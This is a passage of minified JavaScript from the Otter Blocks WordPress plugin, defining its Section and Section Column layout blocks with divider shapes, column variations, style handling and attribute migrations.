e.dividerBottomInvert;default:return}})(),onChange:()=>{switch(n){case"top":t({dividerTopInvert:!e.dividerTopInvert});break;case"bottom":t({dividerBottomInvert:!e.dividerBottomInvert})}}}))))),(0,i.createElement)(g.pO,{value:e.id,onChange:e=>t({id:e})}))},Ba=({type:e,front:t,style:l,fill:o,invert:a,width:n,height:r})=>"none"!==l&&(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-advanced-columns-separators",e),style:!t&&n?{transform:n?`scaleX( ${n/100} )`:""}:{}},"bigTriangle"===l&&!1===a&&(0,i.createElement)("svg",{id:"bigTriangle",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"bottom"===e})},(0,i.createElement)("path",{d:"M0 0 L50 100 L100 0 Z"})),"bigTriangle"===l&&!0===a&&(0,i.createElement)("svg",{id:"bigTriangle",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)("path",{d:"M100, 0l-50, 100l-50, -100l0, 100l100, 0l0, -100Z"})),"rightCurve"===l&&!1===a&&(0,i.createElement)("svg",{id:"rightCurve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)("path",{d:"M0 100 C 20 0 50 0 100 100 Z"})),"rightCurve"===l&&!0===a&&(0,i.createElement)("svg",{id:"rightCurve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)("path",{d:"M0 100 C 50 0 70 0 100 100 Z"})),"curve"===l&&(0,i.createElement)("svg",{id:"curve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)("path",{d:"M0 100 C40 0 60 0 100 100 Z"})),"slant"===l&&!1===a&&(0,i.createElement)("svg",{id:"slant",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"bottom"===e})},(0,i.createElement)("path",{d:"M0 0 L100 100 L100 0 Z"})),"slant"===l&&!0===a&&(0,i.createElement)("svg",{id:"slant",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"bottom"===e})},(0,i.createElement)("path",{d:"M0 0 L0 100 L100 0 Z"})),"cloud"===l&&(0,i.createElement)("svg",{id:"cloud",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)("path",{d:"M-5 100 Q 10 -100 15 100 Z M10 100 Q 20 -20 30 100 M25 100 Q 35 -70 45 100 M40 100 Q 50 -100 60 100 M55 100 Q 65 -20 75 100 M70 100 Q 75 -45 90 100 M85 100 Q 90 -50 95 100 M90 100 Q 95 -25 105 100 Z"})));const{attributes:Ma}=ka;var Pa=[{name:"themeisle-blocks/section-columns-1",description:(0,o.__)("Single column","otter-blocks"),icon:r.colsFull,title:(0,o.__)("Full","otter-blocks"),attributes:{columns:1,layout:"equal",layoutTablet:"equal",layoutMobile:"equal"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"100"}]],scope:["block"]},{name:"themeisle-blocks/section-columns-equal",description:(0,o.__)("2 equal columns","otter-blocks"),icon:r.cols2Equal,title:(0,o.__)("1:1","otter-blocks"),attributes:{columns:2,layout:"equal",layoutTablet:"equal",layoutMobile:"collapsedRows"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"50"}],["themeisle-blocks/advanced-column",{columnWidth:"50"}]],scope:["block"]},{name:"themeisle-blocks/section-columns-1-2",description:(0,o.__)("1:2 columns","otter-blocks"),icon:r.cols12,title:(0,o.__)("1:2","otter-blocks"),attributes:{columns:2,layout:"oneTwo",layoutTablet:"equal",layoutMobile:"collapsedRows"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"33.34"}],["themeisle-blocks/advanced-column",{columnWidth:"66.66"}]],scope:["block"]},{name:"themeisle-blocks/section-columns-2-1",description:(0,o.__)("2:1 columns","otter-blocks"),icon:r.cols21,title:(0,o.__)("2:1","otter-blocks"),attributes:{columns:2,layout:"twoOne",layoutTablet:"equal",layoutMobile:"collapsedRows"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"66.66"}],["themeisle-blocks/advanced-column",{columnWidth:"33.33"}]],scope:["block"]},{name:"themeisle-blocks/section-columns-equal-3",description:(0,o.__)("3 equal columns","otter-blocks"),icon:r.cols3Equal,title:(0,o.__)("1:1:1","otter-blocks"),attributes:{columns:3,layout:"equal",layoutTablet:"equal",layoutMobile:"collapsedRows"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"33.33"}],["themeisle-blocks/advanced-column",{columnWidth:"33.33"}],["themeisle-blocks/advanced-column",{columnWidth:"33.33"}]],scope:["block"]},{name:"themeisle-blocks/section-columns-1-1-2",description:(0,o.__)("1:1:2 columns","otter-blocks"),icon:r.cols112,title:(0,o.__)("1:1:2","otter-blocks"),attributes:{columns:3,layout:"oneOneTwo",layoutTablet:"equal",layoutMobile:"collapsedRows"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"25"}],["themeisle-blocks/advanced-column",{columnWidth:"25"}],["themeisle-blocks/advanced-column",{columnWidth:"50"}]],scope:["block"]},{name:"themeisle-blocks/section-columns-2-1-1",description:(0,o.__)("2:1:1 columns","otter-blocks"),icon:r.cols211,title:(0,o.__)("2:1:1","otter-blocks"),attributes:{columns:3,layout:"twoOneOne",layoutTablet:"equal",layoutMobile:"collapsedRows"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"50"}],["themeisle-blocks/advanced-column",{columnWidth:"25"}],["themeisle-blocks/advanced-column",{columnWidth:"25"}]],scope:["block"]},{name:"themeisle-blocks/section-columns-equal-4",description:(0,o.__)("4 equal columns","otter-blocks"),icon:r.cols4Equal,title:(0,o.__)("1:1:1:1","otter-blocks"),attributes:{columns:4,layout:"equal",layoutTablet:"equal",layoutMobile:"collapsedRows"},innerBlocks:[["themeisle-blocks/advanced-column",{columnWidth:"25"}],["themeisle-blocks/advanced-column",{columnWidth:"25"}],["themeisle-blocks/advanced-column",{columnWidth:"25"}],["themeisle-blocks/advanced-column",{columnWidth:"25"}]],scope:["block"]}];const{name:za}=ka;(0,a.registerBlockType)(za,{...ka,title:(0,o.__)("Section","otter-blocks"),description:(0,o.__)("Add a Section block that displays content in multiple columns, then add whatever content blocks you’d like. Powered by Otter.","otter-blocks"),icon:r.columnsIcon,keywords:["advanced columns","layout","section"],deprecated:Ca,variations:Pa,edit:({attributes:e,setAttributes:t,clientId:l,name:n})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,Ma);return()=>t(e.id)}),[e.id]);const{updateBlockAttributes:s,replaceInnerBlocks:d}=(0,m.useDispatch)("core/block-editor"),{sectionBlock:p,isViewportAvailable:g,isPreviewDesktop:f,isPreviewTablet:v,isPreviewMobile:_,children:C,variations:w,defaultVariation:E}=(0,m.useSelect)((e=>{const{getBlock:t}=e("core/block-editor"),{getBlockVariations:o,getBlockType:a,getDefaultBlockVariation:r}=e("core/blocks"),{__experimentalGetPreviewDeviceType:i}=!!e("core/edit-post")&&e("core/edit-post");return{sectionBlock:t(l),children:t(l)?.innerBlocks||[],isViewportAvailable:!!i,isPreviewDesktop:!!i&&"Desktop"===i(),isPreviewTablet:!!i&&"Tablet"===i(),isPreviewMobile:!!i&&"Mobile"===i(),blockType:a(n),defaultVariation:r(n,"block"),variations:o(n,"block").filter((({isDefault:e})=>!e))}}),[]),{insertBlock:x,removeBlock:S}=(0,m.useDispatch)("core/block-editor"),T=t=>{e.columns<t?(0,A.times)(t-e.columns,(()=>{const e=(0,a.createBlock)("themeisle-blocks/advanced-column");e&&x(e,C?.length||0,l,!1)})):e.columns>t&&C.slice(t).forEach((e=>S(e.clientId,!1)))},B=(e,t)=>{p.innerBlocks.map(((l,o)=>{s(l.clientId,{columnWidth:Ea[e][t][o]})}))};(0,b.useEffect)((()=>{e.columns!==C.length&&(6>=C.length?B(C.length,"equal"):6<C.length?B(6,"equal"):1>=C.length&&B(1,"equal"),t({columns:C.length}))}),[C]),(0,b.useEffect)((()=>{6<e.columns&&(t({columns:6}),T(6))}),[e.columns]),(0,k.W)("color"===e.backgroundType&&e.backgroundColor,e,t);const M=t=>(0,y.getDefaultValueByField)({name:n,field:t,defaultAttributes:Ma,attributes:e}),P=(0,wa.useViewportMatch)("large",">="),z=(0,wa.useViewportMatch)("large","<="),F=(0,wa.useViewportMatch)("small",">="),R=(0,wa.useViewportMatch)("small","<=");let L=P&&!z&&F&&!R,I=!P&&!z&&F&&!R,H=!(P||z||F||R);g&&!H&&(L=f,I=v,H=_);const[N,V]=(0,b.useState)("top"),D=({mobile:e,tablet:t,desktop:l})=>{var o,a;return null!==(o=null!==(a=H&&e||I&&t||l)&&void 0!==a?a:l)&&void 0!==o?o:100},G=D({mobile:e.dividerTopWidthMobile,tablet:e.dividerTopWidthTablet,desktop:e.dividerTopWidth}),j=D({mobile:e.dividerBottomWidthMobile,tablet:e.dividerBottomWidthTablet,desktop:e.dividerBottomWidth}),W=D({mobile:e.dividerTopHeightMobile,tablet:e.dividerTopHeightTablet,desktop:e.dividerTopHeight}),$=D({mobile:e.dividerBottomHeightMobile,tablet:e.dividerBottomHeightTablet,desktop:e.dividerBottomHeight}),U=e.columnsHTMLTag;let Z,q,Y,K,J,X={paddingTop:M("padding")&&M("padding").top,paddingRight:M("padding")&&M("padding").right,paddingBottom:M("padding")&&M("padding").bottom,paddingLeft:M("padding")&&M("padding").left,marginTop:M("margin")&&M("margin").top,marginBottom:M("margin")&&M("margin").bottom,minHeight:"custom"===e.columnsHeight?(0,h.Yj)(e.columnsHeightCustom):e.columnsHeight};if(I||H){const t=(0,A.pickBy)({paddingTop:M("paddingTablet")?.top,paddingRight:M("paddingTablet")?.right,paddingBottom:M("paddingTablet")?.bottom,paddingLeft:M("paddingTablet")?.left,marginTop:M("marginTablet")?.top,marginBottom:M("marginTablet")?.bottom,minHeight:"custom"===e.columnsHeight?(0,h.Yj)(e.columnsHeightCustomTablet):e.columnsHeight},(e=>e));X=(0,A.merge)(X,t)}if(H){const t=(0,A.pickBy)({paddingTop:M("paddingMobile")?.top,paddingRight:M("paddingMobile")?.right,paddingBottom:M("paddingMobile")?.bottom,paddingLeft:M("paddingMobile")?.left,marginTop:M("marginMobile")?.top,marginBottom:M("marginMobile")?.bottom,minHeight:"custom"===e.columnsHeight?(0,h.Yj)(e.columnsHeightCustomMobile):e.columnsHeight},(e=>e));X=(0,A.merge)(X,t)}"color"===e.backgroundType&&(Z={backgroundColor:e.backgroundColor}),"image"===e.backgroundType&&(Z={backgroundImage:`url( '${e.backgroundImage?.url}' )`,backgroundAttachment:e.backgroundAttachment,backgroundPosition:`${Math.round(100*e.backgroundPosition?.x)}% ${Math.round(100*e.backgroundPosition?.y)}%`,backgroundRepeat:e.backgroundRepeat,backgroundSize:e.backgroundSize}),"gradient"===e.backgroundType&&(Z={backgroundImage:e.backgroundGradient}),e.border&&!(0,A.isEmpty)(e.border)&&(Y={borderTopWidth:e.border.top,borderRightWidth:e.border.right,borderBottomWidth:e.border.bottom,borderLeftWidth:e.border.left,borderStyle:"solid",borderColor:e.borderColor}),e.borderRadius&&!(0,A.isEmpty)(e.borderRadius)&&(K={borderTopLeftRadius:e.borderRadius.top,borderTopRightRadius:e.borderRadius.right,borderBottomRightRadius:e.borderRadius.bottom,borderBottomLeftRadius:e.borderRadius.left}),!0===e.boxShadow&&(J={boxShadow:`${e.boxShadowHorizontal}px ${e.boxShadowVertical}px ${e.boxShadowBlur}px ${e.boxShadowSpread}px ${!e.boxShadowColor.includes("var(")||void 0!==e.boxShadowColorOpacity&&100!==e.boxShadowColorOpacity?O()(e.boxShadowColor?e.boxShadowColor:"#000000",e.boxShadowColorOpacity):e.boxShadowColor}`});const Q={...X,...Z,...Y,...K,...J,"--link-color":e.linkColor};"color"===e.backgroundOverlayType&&(q={background:e.backgroundOverlayColor,opacity:e.backgroundOverlayOpacity/100}),"image"===e.backgroundOverlayType&&(q={backgroundImage:`url( '${e.backgroundOverlayImage?.url}' )`,backgroundAttachment:e.backgroundOverlayAttachment,backgroundPosition:`${Math.round(100*e.backgroundOverlayPosition?.x)}% ${Math.round(100*e.backgroundOverlayPosition?.y)}%`,backgroundRepeat:e.backgroundOverlayRepeat,backgroundSize:e.backgroundOverlaySize,opacity:e.backgroundOverlayOpacity/100}),"gradient"===e.backgroundOverlayType&&(q={background:e.backgroundOverlayGradient,opacity:e.backgroundOverlayOpacity/100});const ee={...q,...K,mixBlendMode:e.backgroundOverlayBlend,filter:`blur( ${e.backgroundOverlayFilterBlur/10}px ) brightness( ${e.backgroundOverlayFilterBrightness/10} ) contrast( ${e.backgroundOverlayFilterContrast/10} ) grayscale( ${e.backgroundOverlayFilterGrayscale/100} ) hue-rotate( ${e.backgroundOverlayFilterHue}deg ) saturate( ${e.backgroundOverlayFilterSaturate/10} )`};let te={};e.columnsWidth&&(te={maxWidth:(0,h.Yj)(M("columnsWidth"))}),(I||H)&&M("columnsWidthTablet")&&(te.maxWidth=(0,h.Yj)(M("columnsWidthTablet"))),H&&M("columnsWidthMobile")&&(te.maxWidth=(0,h.Yj)(M("columnsWidthMobile")));const le=c()(`has-${e.columns}-columns`,`has-desktop-${e.layout}-layout`,`has-tablet-${e.layoutTablet}-layout`,`has-mobile-${e.layoutMobile}-layout`,`has-vertical-${e.verticalAlign}`,`has-horizontal-${e.horizontalAlign}`,{"has-reverse-columns-tablet":e.reverseColumnsTablet&&!e.hideTablet&&"collapsedRows"===e.layoutTablet},{"has-reverse-columns-mobile":e.reverseColumnsMobile&&!e.hideMobile&&"collapsedRows"===e.layoutMobile},{"has-viewport-desktop":L},{"has-viewport-tablet":I},{"has-viewport-mobile":H}),oe=e.columns?(0,u.useBlockProps)({id:e.id,className:le,style:Q}):(0,u.useBlockProps)();return e.columns?(0,i.createElement)(b.Fragment,null,(0,i.createElement)("style",null,`#block-${l} `+(0,h.iC)([["--text-color",e.color]]),`#block-${l}:hover `+(0,h.iC)([["--text-color",e.colorHover]])),(0,i.createElement)(xa,{attributes:e,setAttributes:t}),(0,i.createElement)(Ta,{attributes:e,setAttributes:t,getValue:M,updateColumnsWidth:B,dividerViewType:N,setDividerViewType:V,changeColumnsNumbers:T}),(0,i.createElement)(U,{...oe},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-advanced-columns-overlay",style:ee}),(0,i.createElement)(Ba,{type:"top",style:e.dividerTopType,fill:e.dividerTopColor,invert:e.dividerTopInvert,width:G,height:W}),(0,i.createElement)("div",{className:"innerblocks-wrap",style:te},(0,i.createElement)(u.InnerBlocks,{allowedBlocks:["themeisle-blocks/advanced-column"],orientation:"horizontal"})),(0,i.createElement)(Ba,{type:"bottom",style:e.dividerBottomType,fill:e.dividerBottomColor,invert:e.dividerBottomInvert,width:j,height:$}))):(0,i.createElement)("div",{...oe},(0,i.createElement)(u.__experimentalBlockVariationPicker,{label:(0,o.__)("Section","otter-blocks"),instructions:(0,o.__)("Select a layout to start with, or make one yourself.","otter-blocks"),icon:r.columnsIcon,variations:w,onSelect:(e=E)=>{e&&(d(l,(0,a.createBlocksFromInnerBlocksTemplate)(e.innerBlocks),!0),t(e.attributes))},allowSkip:!0}))},save:({attributes:e})=>{const t=e.columnsHTMLTag,l=e.hide?"":`has-desktop-${e.layout}-layout`,o=e.hideTablet?"":`has-tablet-${e.layoutTablet}-layout`,a=e.hideMobile?"":`has-mobile-${e.layoutMobile}-layout`,n=c()(`has-${e.columns}-columns`,l,o,a,{"hide-in-desktop":e.hide},{"hide-in-tablet":e.hideTablet},{"hide-in-mobile":e.hideMobile},{"has-reverse-columns-tablet":e.reverseColumnsTablet&&!e.hideTablet&&"collapsedRows"===e.layoutTablet},{"has-reverse-columns-mobile":e.reverseColumnsMobile&&!e.hideMobile&&"collapsedRows"===e.layoutMobile},`has-vertical-${e.verticalAlign}`),r=u.useBlockProps.save({id:e.id,className:n});return(0,i.createElement)(t,{...r},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-advanced-columns-overlay"}),(0,i.createElement)(Ba,{type:"top",front:!0,style:e.dividerTopType,fill:e.dividerTopColor,invert:e.dividerTopInvert}),(0,i.createElement)("div",{className:"innerblocks-wrap"},(0,i.createElement)(u.InnerBlocks.Content,null)),(0,i.createElement)(Ba,{type:"bottom",front:!0,style:e.dividerBottomType,fill:e.dividerBottomColor,invert:e.dividerBottomInvert}))},example:{viewportWidth:1e3,attributes:{},innerBlocks:[{name:"themeisle-blocks/advanced-column",attributes:{margin:{right:"10px"}},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,o.__)("Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent et eros eu felis.")}},{name:"core/image",attributes:{url:"https://s.w.org/images/core/5.3/Windbuchencom.jpg"}},{name:"core/paragraph",attributes:{content:(0,o.__)("Suspendisse commodo neque lacus, a dictum orci interdum et.")}}]},{name:"themeisle-blocks/advanced-column",attributes:{margin:{left:"10px"}},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,o.__)("Etiam et egestas lorem. Vivamus sagittis sit amet dolor quis lobortis. Integer sed fermentum arcu, id vulputate lacus. Etiam fermentum sem eu quam hendrerit.")}},{name:"core/paragraph",attributes:{content:(0,o.__)("Nam risus massa, ullamcorper consectetur eros fermentum, porta aliquet ligula. Sed vel mauris nec enim.")}}]}]}});var Fa=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/advanced-column","title":"Section Column","category":"themeisle-blocks","description":"A single column within a Section block. Powered by Otter.","parent":["themeisle-blocks/advanced-columns"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"padding":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"paddingTablet":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"paddingMobile":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"margin":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"marginTablet":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"marginMobile":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"color":{"type":"string"},"colorHover":{"type":"string"},"linkColor":{"type":"string"},"backgroundType":{"type":"string","default":"color"},"backgroundColor":{"type":"string"},"backgroundImage":{"type":"object"},"backgroundAttachment":{"type":"string","default":"scroll"},"backgroundPosition":{"type":"object"},"backgroundRepeat":{"type":"string","default":"repeat"},"backgroundSize":{"type":"string","default":"auto"},"backgroundGradient":{"type":"string","default":"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)"},"backgroundOverlayOpacity":{"type":"number","default":50},"backgroundOverlayType":{"type":"string","default":"color"},"backgroundOverlayColor":{"type":"string"},"backgroundOverlayImage":{"type":"object"},"backgroundOverlayAttachment":{"type":"string","default":"scroll"},"backgroundOverlayPosition":{"type":"object"},"backgroundOverlayRepeat":{"type":"string","default":"repeat"},"backgroundOverlaySize":{"type":"string","default":"auto"},"backgroundOverlayGradient":{"type":"string","default":"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)"},"backgroundOverlayFilterBlur":{"type":"number","default":0},"backgroundOverlayFilterBrightness":{"type":"number","default":10},"backgroundOverlayFilterContrast":{"type":"number","default":10},"backgroundOverlayFilterGrayscale":{"type":"number","default":0},"backgroundOverlayFilterHue":{"type":"number","default":0},"backgroundOverlayFilterSaturate":{"type":"number","default":10},"backgroundOverlayBlend":{"type":"string","default":"normal"},"backgroundColorHover":{"type":"string"},"border":{"type":"object"},"borderColor":{"type":"string"},"borderRadius":{"type":"object"},"boxShadow":{"type":"boolean","default":false},"boxShadowColor":{"type":"string","default":"#000000"},"boxShadowColorOpacity":{"type":"number","default":50},"boxShadowBlur":{"type":"number","default":5},"boxShadowSpread":{"type":"number","default":0},"boxShadowHorizontal":{"type":"number","default":0},"boxShadowVertical":{"type":"number","default":0},"columnsHTMLTag":{"type":"string","default":"div"},"columnWidth":{"type":"string"},"verticalAlign":{"type":"string"},"isSynced":{"type":"array"}},"supports":{"inserter":false,"html":false},"editorStyle":"otter-advanced-columns-editor","style":"otter-advanced-columns-style"}');const Ra={id:{type:"string"},paddingType:{type:"string",default:"linked"},paddingTypeTablet:{type:"string",default:"linked"},paddingTypeMobile:{type:"string",default:"linked"},padding:{type:"number",default:20},paddingTablet:{type:"number",default:20},paddingMobile:{type:"number",default:20},paddingTop:{type:"number",default:20},paddingTopTablet:{type:"number",default:20},paddingTopMobile:{type:"number",default:20},paddingRight:{type:"number",default:20},paddingRightTablet:{type:"number",default:20},paddingRightMobile:{type:"number",default:20},paddingBottom:{type:"number",default:20},paddingBottomTablet:{type:"number",default:20},paddingBottomMobile:{type:"number",default:20},paddingLeft:{type:"number",default:20},paddingLeftTablet:{type:"number",default:20},paddingLeftMobile:{type:"number",default:20},marginType:{type:"string",default:"unlinked"},marginTypeTablet:{type:"string",default:"unlinked"},marginTypeMobile:{type:"string",default:"unlinked"},margin:{type:"number",default:20},marginTablet:{type:"number",default:20},marginMobile:{type:"number",default:20},marginTop:{type:"number",default:20},marginTopTablet:{type:"number",default:20},marginTopMobile:{type:"number",default:20},marginRight:{type:"number",default:0},marginRightTablet:{type:"number",default:0},marginRightMobile:{type:"number",default:0},marginBottom:{type:"number",default:20},marginBottomTablet:{type:"number",default:20},marginBottomMobile:{type:"number",default:20},marginLeft:{type:"number",default:0},marginLeftTablet:{type:"number",default:0},marginLeftMobile:{type:"number",default:0},backgroundType:{type:"string",default:"color"},backgroundColor:{type:"string"},backgroundImageID:{type:"number"},backgroundImageURL:{type:"string"},backgroundAttachment:{type:"string",default:"scroll"},backgroundPosition:{type:"string",default:"top left"},backgroundRepeat:{type:"string",default:"repeat"},backgroundSize:{type:"string",default:"auto"},backgroundGradientFirstColor:{type:"string",default:"#36d1dc"},backgroundGradientFirstLocation:{type:"number",default:0},backgroundGradientSecondColor:{type:"string",default:"#5b86e5"},backgroundGradientSecondLocation:{type:"number",default:100},backgroundGradientType:{type:"string",default:"linear"},backgroundGradientAngle:{type:"number",default:90},backgroundGradientPosition:{type:"string",default:"center center"},borderType:{type:"string",default:"linked"},border:{type:"number",default:0},borderTop:{type:"number",default:0},borderRight:{type:"number",default:0},borderBottom:{type:"number",default:0},borderLeft:{type:"number",default:0},borderColor:{type:"string",default:"#000000"},borderRadiusType:{type:"string",default:"linked"},borderRadius:{type:"number",default:0},borderRadiusTop:{type:"number",default:0},borderRadiusRight:{type:"number",default:0},borderRadiusBottom:{type:"number",default:0},borderRadiusLeft:{type:"number",default:0},boxShadow:{type:"boolean",default:!1},boxShadowColor:{type:"string",default:"#000000"},boxShadowColorOpacity:{type:"number",default:50},boxShadowBlur:{type:"number",default:5},boxShadowSpread:{type:"number",default:0},boxShadowHorizontal:{type:"number",default:0},boxShadowVertical:{type:"number",default:0},columnsHTMLTag:{type:"string",default:"div"},columnWidth:{type:"string"}},La=[{attributes:Ra,supports:{inserter:!1,reusable:!1,html:!1},save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag;let o,a,n,r;if("color"===e.backgroundType&&(o={background:e.backgroundColor}),"image"===e.backgroundType&&(o={backgroundImage:`url( '${e.backgroundImageURL}' )`,backgroundAttachment:e.backgroundAttachment,backgroundPosition:e.backgroundPosition,backgroundRepeat:e.backgroundRepeat,backgroundSize:e.backgroundSize}),"gradient"===e.backgroundType){let t;t="linear"===e.backgroundGradientType?`${e.backgroundGradientAngle}deg`:`at ${e.backgroundGradientPosition}`,o={background:`${e.backgroundGradientType}-gradient( ${t}, ${e.backgroundGradientFirstColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientFirstLocation}%, ${e.backgroundGradientSecondColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientSecondLocation}% )`}}"linked"===e.borderType&&(a={borderWidth:`${e.border}px`,borderStyle:"solid",borderColor:e.borderColor}),"unlinked"===e.borderType&&(a={borderTopWidth:`${e.borderTop}px`,borderRightWidth:`${e.borderRight}px`,borderBottomWidth:`${e.borderBottom}px`,borderLeftWidth:`${e.borderLeft}px`,borderStyle:"solid",borderColor:e.borderColor}),"linked"===e.borderRadiusType&&(n={borderRadius:`${e.borderRadius}px`}),"unlinked"===e.borderRadiusType&&(n={borderTopLeftRadius:`${e.borderRadiusTop}px`,borderTopRightRadius:`${e.borderRadiusRight}px`,borderBottomRightRadius:`${e.borderRadiusBottom}px`,borderBottomLeftRadius:`${e.borderRadiusLeft}px`}),!0===e.boxShadow&&(r={boxShadow:`${e.boxShadowHorizontal}px ${e.boxShadowVertical}px ${e.boxShadowBlur}px ${e.boxShadowSpread}px ${O()(e.boxShadowColor?e.boxShadowColor:"#000000",e.boxShadowColorOpacity)}`});const s={...o,...a,...n,...r};return(0,i.createElement)(l,{className:t,id:e.id,style:s},(0,i.createElement)(u.InnerBlocks.Content,null))}},{attributes:{...Ra,paddingTablet:{type:"number"},paddingMobile:{type:"number"},paddingTopTablet:{type:"number"},paddingTopMobile:{type:"number"},paddingRightTablet:{type:"number"},paddingRightMobile:{type:"number"},paddingBottomTablet:{type:"number"},paddingBottomMobile:{type:"number"},paddingLeftTablet:{type:"number"},paddingLeftMobile:{type:"number"},marginTablet:{type:"number"},marginMobile:{type:"number"},marginTopTablet:{type:"number"},marginTopMobile:{type:"number"},marginRightTablet:{type:"number"},marginRightMobile:{type:"number"},marginBottomTablet:{type:"number"},marginBottomMobile:{type:"number"},marginLeftTablet:{type:"number"},marginLeftMobile:{type:"number"}},supports:{inserter:!1,reusable:!1,html:!1},migrate:e=>{let t="";if("gradient"===e.backgroundType){let l="";"linear"===e.backgroundGradientType&&(l=`${e.backgroundGradientAngle}deg, `),t=`${e.backgroundGradientType}-gradient(${l}${O()(e.backgroundGradientFirstColor)||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientFirstLocation}%, ${O()(e.backgroundGradientSecondColor)||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientSecondLocation}%)`}return{...{...(0,A.omit)(e,["backgroundGradientFirstColor","backgroundGradientFirstLocation","backgroundGradientSecondColor","backgroundGradientSecondLocation","backgroundGradientType","backgroundGradientAngle","backgroundGradientPosition"]),backgroundGradient:t}}},isEligible:e=>"gradient"===e.backgroundType&&void 0!==e.backgroundGradientFirstColor,save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag;return(0,i.createElement)(l,{className:t,id:e.id},(0,i.createElement)(u.InnerBlocks.Content,null))}},{attributes:{...(0,A.omit)(Ra,["backgroundGradientFirstColor","backgroundGradientFirstLocation","backgroundGradientSecondColor","backgroundGradientSecondLocation","backgroundGradientType","backgroundGradientAngle","backgroundGradientPosition"]),paddingTablet:{type:"number"},paddingMobile:{type:"number"},paddingTopTablet:{type:"number"},paddingTopMobile:{type:"number"},paddingRightTablet:{type:"number"},paddingRightMobile:{type:"number"},paddingBottomTablet:{type:"number"},paddingBottomMobile:{type:"number"},paddingLeftTablet:{type:"number"},paddingLeftMobile:{type:"number"},marginTablet:{type:"number"},marginMobile:{type:"number"},marginTopTablet:{type:"number"},marginTopMobile:{type:"number"},marginRightTablet:{type:"number"},marginRightMobile:{type:"number"},marginBottomTablet:{type:"number"},marginBottomMobile:{type:"number"},marginLeftTablet:{type:"number"},marginLeftMobile:{type:"number"},backgroundGradient:{type:"string",default:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)"}},supports:{inserter:!1,reusable:!1,html:!1},migrate:e=>{const t={},l={},o={},a={},n={},r={},i={},s={};let c={},d={};"unlinked"===e.paddingType?(t.top=(0,A.isUndefined)(e.paddingTop)?"20px":e.paddingTop+"px",t.bottom=(0,A.isUndefined)(e.paddingBottom)?"20px":e.paddingBottom+"px",t.left=(0,A.isUndefined)(e.paddingLeft)?"20px":e.paddingLeft+"px",t.right=(0,A.isUndefined)(e.paddingRight)?"20px":e.paddingRight+"px"):(t.top=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px",t.bottom=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px",t.left=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px",t.right=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px"),"unlinked"===e.paddingTypeTablet?(l.top=(0,A.isUndefined)(e.paddingTopTablet)?null:e.paddingTopTablet+"px",l.bottom=(0,A.isUndefined)(e.paddingBottomTablet)?null:e.paddingBottomTablet+"px",l.left=(0,A.isUndefined)(e.paddingLeftTablet)?null:e.paddingLeftTablet+"px",l.right=(0,A.isUndefined)(e.paddingRightTablet)?null:e.paddingRightTablet+"px"):(l.top=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px",l.bottom=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px",l.left=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px",l.right=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px"),"u